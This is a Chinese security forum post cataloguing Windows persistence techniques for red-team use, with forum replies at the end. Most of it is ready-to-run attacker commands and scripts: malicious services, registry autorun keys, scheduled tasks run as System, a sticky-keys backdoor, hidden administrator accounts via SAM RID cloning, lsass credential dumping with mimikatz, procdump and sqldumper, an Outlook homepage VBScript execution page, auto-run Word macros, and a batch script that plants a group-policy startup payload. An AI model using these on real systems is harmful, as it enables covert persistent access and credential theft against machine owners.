用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

7

主题

38

帖子

296

魔法币
收听
0
粉丝
3
注册时间
2018-1-10

i春秋签约作者

发表于 2020-10-10 17:43:19 35190
本帖最后由 挖低危的清风 于 2020-10-10 17:49 编辑

Windows 权限维持

文中所提到的利用方式均在WIN10或2016中进行了测试。文中所提技术仅用于红蓝对抗,请勿进行非法利用。

Windows 启动目录:

Windows 启动目录分为,用户启动目录,与系统启动目录。
用户启动目录是登录特定用户的时候才会启动。
系统启动目录是所有登录该计算机的用户都会启动。

用户启动目录:

用户启动目录只要 Administrator 权限即可
C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

move c:\xxx.exe "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xxx.exe"

系统启动目录:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
如果通过 move 的方式向系统启动目录的写入需要进行提权,才可写入

move c:\xxx.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\xxx.exe"

Windows 服务注册:

通过在注册表中注册恶意服务并设置为自启动的方式来进行持久化。

CMD 通过 sc 进行注册:

服务注册至少需要本地管理组权限。还需要注意SC 命令需要等号后面接空格在加参数
命令详解:sc create 服务名 binpath= "命令" start= "auto" obj= "objectname"

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem"
sc start pentestlab #立即启动服务

PowerShell 通过New-service 创建:

New-service -Name "服务名" -BinaryPathName "执行的命令" -Description "" -StartupType Automatic
sc start pentestlab

Registry Run Keys(注册表注册键):

Run 注册键 :

HKCU:

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

我们通常安装的软件,其开机自启动都会放在该注册表下。如图

所以我们也能通过向该注册表添加新的键值对进行恶意的开机启动。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 注册表的修改只要求有 administrator 权限即可

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

HKLM:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 则需要提升了权限后才可以进行修改,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test1 /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

Userinit 注册键:

Userinit 位于 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
以下是微软对于该注册键的说明:
指定用户登录时Winlogon运行的程序。默认情况下,Winlogon运行Userinit.exe,后者运行登录脚本,重新建立网络连接,然后启动Windows用户界面Explorer.exe。
您可以更改此条目的值以添加或删除程序。例如,要在Windows资源管理器用户界面启动之前运行程序,请在该条目的值中用该程序的名称替换Userinit.exe,然后在该程序中包含说明以启动Userinit.exe。如果您脱机工作且未使用登录脚本,则可能还需要用Explorer.exe代替Userinit.exe。

Userinit注册键是可以通过逗号分割多个应用程序,并且执行的程序还可以带参数(也就意味着,可以利用 powershell 实现无文件后门持久化)。需要注意的是,修改 Userinit 必须要管理员权限才可。

通过 Reg 修改注册表 :

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,cmd.exe" /f

通过 PowerShell 修改注册表:

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,cmd.exe /c calc.exe"

LogonScript 注册键:

UserInitMprLogonScript 注册键位于 HKCU:\Environment 下,大多数系统,注册表中都不会包含这一项。我们只需要创建该键即可。reg 或 powershell 都可以完成。

reg add "HKCU:\Environment" /v UserInitMprLogonScript /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty "HKCU:\Environment" UserInitMprLogonScript -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

注销登录就可以发现文件成功被写入,并且需要注意的是,LogonScript 的启动优先级较高,甚至优于某些杀软启动。

Load 注册键:

Load 注册键位于 HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows 下。通常该键也是不存在的,但是也可以通过添加 load 键值的方式,使其生效。

reg add "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows" /v load /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" load -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

注销登录后成功触发

Explore\run 注册键:

Explore\run 位于 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer  下, 这两个注册表项需要提权才能进行修改。

直接使用 reg 创建一个 run 注册表项,并同时创建 twin 键值

reg  add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" /v twin /t REG_SZ /d "lala.exe" /f

当我使用WIN 10进行测试的时候,发现通过这种方式创建的持久化,会触发 explorer 的错误,只有关闭掉该错误提示,才会进行后续动作


win 2016 则不存在这种问题,其他系统未进行测试,暂时不知道会不会出现这样的问题。

注销登陆,成功触发。

而单纯使用 PowerShell 进行创建的话,则先需要创建 run 注册表项,然后在创建健值。

New-Item "HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run"
New-ItemProperty "HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" run_shell -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

Command Processor\AutoRun 注册键:

Command Processor\AutoRun 注册键位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor 启动时间先于用户登录。在完全重启计算机时会运行。

New-ItemProperty "HKLM\SOFTWARE\Microsoft\Command Processor" AutoRun -value "c:\users\admin\desktop\1.bat" -propertyType string | Out-Null

并且是以system权限启动

并且 HKCU:\SOFTWARE\Microsoft\Command Processor\AutoRun 和 HKLM:\SOFTWARE\Microsoft\Command Processor\AutoRun 都会在用户通过快速运行 cmd 的时候执行。

Winlogon\taskman 注册键:

taskman 位于 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonHKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon  但是经过测试,只有 HKLM 注册表下的 taskman 是生效的。

New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" taskman -value "c:\users\admin\desktop\1.exe" -propertyType string | Out-Null

Windows NT\CurrentVersion\Windows\run 注册键:

Windows\run 注册键位于 HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows 下 HKLM 下的该键则不会生效。并且该键值是需要用户登录桌面后才会启动,且是当前用户权限。

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" run -value "c:\users\admin\desktop\2.exe" -propertyType string | Out-Null

Windows NT\CurrentVersion\Windows\load 注册键:

Windows\load 位于 HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows 下和 Windows\run 一样,只有 HKCU 下的该键才生效。

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" load -value "c:\users\admin\desktop\2.exe" -propertyType string | Out-Null

其它注册键:

Windows 中可用于权限维持的注册键还有很多,由于精力有限,无法一一测试是否有效.








计划任务:

在Windows操作系统中提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。在实战中这个地方也经常被攻击者进行利用。同时也要求创建计划任务需要管理员权限才行。

On System Start
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onstart /ru System

On User Idle (30mins)
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onidle /i 30

On User Login
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onlogon /ru System

更多的详细信息请参考

https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

Shift 后门:

我们都知道在登陆Windows的时候,Windows允许我们使用一些快捷功能,比如连续5次的shift启动粘贴键,在老版本的系统中(如xp/2003)我们可以通过直接替换sethc.exe进行持久化的后门植入。但是到高版本系统之后,只有TrustedInstaller组用户才有权限进行更改。但是我们还是可以通过添加注册表的方式进行shift后门植入。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

还有就是在以下文章中看到的方式,利用对进程静默退出的监视操作,实现shift后门。但是这种方式不会像上面的那种,直接将CMD弹出到登陆界面,而是在sethc.exe退出之后运行。同样也是system权限。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Globalflag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProces**it\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProces**it\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

参考文章:

https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd

创建后门账户:

创建隐藏账户方式一:

net user xxx$ password /add
net localgroup administrator /add

创建隐藏账户方式二:

首先还是像上面一样创建一个$隐藏账户
然后修改注册表

hklm:\SAM\SAM\Domains\Account\Users\

复制 Administrator 也就是 0x1f4 中 F的二进制值。

将其复制到新创建的隐藏账户 0x3eb 中

然后将0x1f4 与 0x3eb 与 bbb_1$ 全部导出

再删除 bbb_1$ 这个隐藏账户

最后再将导出的注册表进行导入及完成。

凭据提取:

在Windows平台中,最常用的凭据提取工具便是 Mimikatz ,它能够从 lsass 中提取出用户登陆的明文账户及密码。如果提取不出明文密码,也能获得密码 hash 用以制作各种票据。其它更多的利用,不在本片文章的讨论范围,这篇文章,只简述其凭据提取的功能。
通过获取目标账户的密码或者 hash 制作的票据,我们也能达到一定程度上的权限维持的作用,当然获取密码还有更简单的方式,比如键盘记录。

直接在目标机运行:

#以管理员权限运行 mimikatz ,然后获取 debug 权限,再获取账户密码 
privilege::debug
sekurlsa::logonpasswords

通过任务管理器转储 lsass:

除了上面直接在目标机上运行 mimikatz 的方式,我们还可以通过转储 lsass 的方式,在本地进行提取。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

通过微软的小工具 procdump 进行转储:

procdump64 -accepteula -ma lsass.exe lsass.dmp

SqlDumper:

sqldumper 是 mssql 自带的一个工具,在目标机安装了 mssql 我们都可以直接使用,以 mssql 2019 为例,其存放于 C:\Program Files\Microsoft SQL Server\150\Shared。

150 for SQL Server 2019
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005

# 获取进程PID
tasklist /svc |findstr lsass.exe

#根据PID dump lsass
sqldump.exe PID 0 0x01100

Get-ProcessMiniDump :

OutLook 后门持久化:

OutLook 主页滥用:

修改主页的目标地址,改为恶意网页地址。每次点击收件箱时都会触发漏洞。

由于outlook 使用的是 ieframe.dll 来进行渲染,所以导致其可执行VBS代码。造成命令执行。

<html>
<head>
<meta https-equiv="Content-Language" content="en-us">
<meta https-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
 Sub window_onload()
     Set Application = ViewCtl1.OutlookApplication
     Set cmd = Application.CreateObject("Wscript.Shell")
     cmd.Run("notepad")
 End Sub
-->

</script>
</head>
<body>
 <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>

微软已发布KB4011162补丁用以删除该功能。

OutLook  规则滥用:

由于笔者的 OutLook 已修复该功能,且该规则滥用利用简单,所以不做单独演示。

https://www.freebuf.com/vuls/243747.html

深度利用请参考:

https://blog.csdn.net/weixin_34212762/article/details/90503389

Outlook 功能滥用利用工具地址:

https://github.com/sensepost/ruler

Office 持久化:

宏持久化:

创建一个作用于所有活动模板和文档的宏。

然后编写对应的宏代码,或使用CS,MSF等工具生成的代码也可以。

在Word中能够自动运行的默认宏代码名称及触发条件如下:
1、名称:AutoExec 条件:启动Word或加载全局模板
2、名称:AutoNew 条件:每次生成新文档时
3、名称:AutoOpen 条件:每次打开一个已有文档时
4、名称:AutoClose 条件:每次关闭文档时
5、名称:AutoExit 条件:退出word或卸载全局模板时

一个简单的测试代码。当启动word 的时候触发。

Sub AutoExec()
    Set sa = CreateObject("Shell.Application") '以管理员身份运行cmd
    sa.ShellExecute "cmd", " /c start calc ", , "runas", 1
End Sub

HookPasswordChange:

在win10 测试失败,稍后在server 系统中进行测试。

https://www.vuln.cn/6812

组策略持久化:

LGP:

本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。--(应用之百度百科)

命令行输入 GCC 即可打开 控制台并添加本地组策略,或者运行gpedit.msc也可以

本地组策略提供了非常丰富的功能,他可以设置用户访问权限,密码复杂度检验,账户锁定阈值,开关机脚本执行等等功能。


我们通过 LGP 的登录脚本设置,添加我们的样本文件,然后重启可以看到样本程序成功提权到system,这个点既能当做提权点,也能做权限维持。其本质与注册表提权与权限维持相同。


但是在实际环境中,我们有时无法通过桌面进行操作,所以我写了一个bat脚本用于修改计算机本地组策略,需要 administrator 权限

@echo off
echo 需要bypassuac后才能使用
set di=%windir%\system32\GroupPolicy\Machine\Scripts
if exist %di% (
        echo script文件夹存在
        if exist %di%\scripts.ini (
                echo scripts.ini文件存在,删除原文件
                attrib -a -s -r -h %di%\scripts.ini
                del %di%\scripts.ini /q
                echo.>%di%\scripts.ini
                echo [Startup] >>%di%\scripts.ini
                echo 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.ini
                echo 0Parameters= >>%di%\scripts.ini
                attrib +s +a +h %di%\scripts.ini        
        ) else (
                echo script.ini文件不存在,正在创建文件
                echo %di%
                echo.>%di%\scripts.ini
                echo [Startup] >>%di%\scripts.ini
                echo 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.ini
                echo 0Parameters= >>%di%\scripts.ini
                attrib +s +a +h %di%\scripts.ini
        )
        gpupdate /force
) else (
        echo script文件夹不存在,创建该文件夹
        md %di%
        md %di%\Shutdown
        md %di%\Startup
        echo.>%di%\scripts.ini
        echo [Startup] >>%di%\scripts.ini
        echo 0CmdLine = %~dp0artifact32.exe >>%di%\scripts.ini
        echo 0Parameters= >>%di%\scripts.ini
        attrib +s +a +h %di%\scripts.ini
        gpupdate /force
)
pause

另外如果是针对当前用户做登录启动的组策略的话,由于最终是写入到 HKCU 注册表,所以只需要当前权限即可。
当前用户的登录脚本配置是位于 %windir%\system32\GroupPolicy\user\Scripts  ,只需要修改上方脚本中的 di 地址即可。

最后小弟我新开了个公众号“佚名Sec”希望表哥们关注一哈!

本帖被以下淘专辑推荐:

  • · sc|主题: 63, 订阅: 3
发表于 2020-10-14 10:37:42
清风表哥厉害啊
使用道具 举报 回复

哪里,共同进步
使用道具 举报 回复
支持分享
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册